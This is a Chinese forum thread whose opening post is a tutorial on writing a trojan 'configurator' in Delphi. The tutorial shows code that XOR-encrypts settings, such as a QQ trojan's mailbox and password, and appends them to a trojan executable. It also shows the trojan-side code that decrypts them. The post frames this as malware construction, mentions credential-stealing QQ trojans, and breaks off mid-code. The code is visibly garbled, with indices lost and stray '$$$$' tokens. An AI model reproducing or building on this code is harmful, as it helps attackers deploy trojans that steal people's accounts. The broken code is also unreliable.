2026年10月31日 · 今日 0 帖 · 会员 6.1万 · 主题 17.4万
登录 · 注册 · 游客,欢迎随便逛逛
返回版块
1000
Lv9有为九子能等级图标
勋章勋章勋章勋章勋章
帖子
9.3万
回复
2,089
积分
60.3万
注册
2006-12-06
[怀旧国机]

如何编写木马配置器

[复制链接]
查看 97 回复 1
楼主 发表于 | 只看该作者

配置器代码:

程序代码

{该函数是给配置文件加密用的,采用

的是xor加密方式,你可以改成你喜

欢的加密方式.

当然,这部分绝对可以省略不要.但如

果你往木马中写的配置信息涉及到

你的敏感资料,

例如往QQ木马尾部写“邮箱“? “邮箱

密码“? 那样人家拿Windows记事本

一看,明文记录.

有了这部分就不会出现这种情

况,xor虽然简单,但对付菜鸟足亦.需

要提醒的一点是,这

里不管你用什么加密方式.木马运行

后在内存中一定是解密的,用

WinHex类工具一查内存

还是可以查到你的资料.所以尽量避

免填写敏感资料,例如QQ木马改用

ASP接口,这样它

查到的也是没用的一个网址而已.

}

function EncryptSettings(Str :

String): String;

var

X, Y : Integer;

A : Byte;

Key:string;

begin

Key:=‘Fi7ke‘; //这个是加密钥匙,你

可以随便设置,但解密钥匙要一样,不

然解不了密

Y := 1;

for X := 1 to Length(Str) do

begin

A := (ord(Str) and $$$$0f) xor

(ord(Key) and $$$$0f);

Str := char((ord(Str) and $$

$$f0) + A);

Inc(Y);

If Y > length(Key) then Y := 1;

end;

Result := Str;

end;

{这一个部分就是正式将数据添加到

木马尾部了.本程序上所用到的控件

有:

Edit1 ~ Edit5 , 一个Button

}

procedure TForm1.Button1Click

(Sender: TObject);

var

f: file;

str: array of char;

Each_size: array of char;

HostName: string;

len, I: integer;

begin

HostName := EncryptSettings

(edit1.Text+‘>‘+edit2.Text

+‘>‘+edit3.Text+‘>‘+edit4.Text

+‘>‘+edit5.Text+‘>‘);

//将所有数据都加在一起,并用 > 号

来阁开区分,最后用上面的函数加密

后付值给变量HostName.

AssignFile(f, ‘du.exe‘); //打开同目

录下的du.exe,准备修改 (这里假设

du.exe是木马程序)

Reset(f, 1);

seek(f, filesize(f)); //上次是将指针

移动到指定位置,这次是将指针移动

到文件末尾

for i := 1 to 255 do str := char

(0); //循环写入所有的配置数据

for i := 1 to length(str) do str :=

HostName;

BlockWrite(f, str, length

(HostName));

Each_size := charlength(HostName)); //计算出配置

数据的长度

blockwrite(f, Each_size, 1); //写入

配置文件的长度到末尾,否则文件改

变了长度没变会出错

CloseFile(f); //最后别忘了关闭

end;

OK.一个配置器就这样写好了,是不

是很Very Easy?木马端代码:

程序代码

program du;

uses Windows; //写木马程序最好

只包含这个单元,该单元主要包含一

些木马用到的API的定义

var

f: file;

each_size: array of char;

str: array of char;

Setstr, ok1, ok2, ok3, ok4, ok5:

string;

len, i: integer;

good: array of string;

{

这个不用多说了吧?Delphi的标准函

数,剔除空格用的.是我为了节约木马

体积

从SysUtils单元中提取出来的.这里

废话几句,其实这是犯了Delphi的大

忌.SysUtils,

System,SysInit同为Delphi的基石.

上面我虽然只定义了Windows单元,

但编译器

会自动加入System,SysInit单元.而

这几个单元包含了Delphi中的几乎

所有异常

处理.是需要互相调用的,这里因为节

约体积,我们才强制Kill掉了SysUtils

单元,

平时可是切忌,切忌~~

}

function Trim(const S: string):

string;

var

I, L: Integer;

begin

L := Length(S);

I := 1;

while (I <= L) and (S <= ‘ ‘) do

Inc(I);

if I > L then Result := ‘‘ else

begin

while S <= ‘ ‘ do Dec(L);

Result := Copy(S, I, L - I + 1);

end;

end;

{配置器里有Xor加密函数,这里肯定

就是Xor解密函数}

function DecryptSettings(Str :

String): String;

var

X, Y : Integer;

A : Byte;

Key:string;

begin

Key:=‘Fi7ke‘; //注意了,这里要和加

密钥匙一样.

Y := 1;

for X := 1 to Length(Str) do

begin

A := (ord(Str) and $$$$0f) xor

(ord(Key) and $$$$0f);

Str := char((ord(Str) and $$

$$f0) + A);

Inc(Y);

If Y > length(Key) then Y := 1;

end;

Result := Str;

end;

{正式开始了......}

begin

FileMod

登录回复
48681
Lv5甘首五朝臣等级图标等级图标等级图标等级图标等级图标
帖子
32
回复
1,278
积分
3.5万
注册
2011-06-05
1 楼

???

登录后可以回复这个帖子。旧账号可使用原密码登录。

登录 注册新号
← 返回版块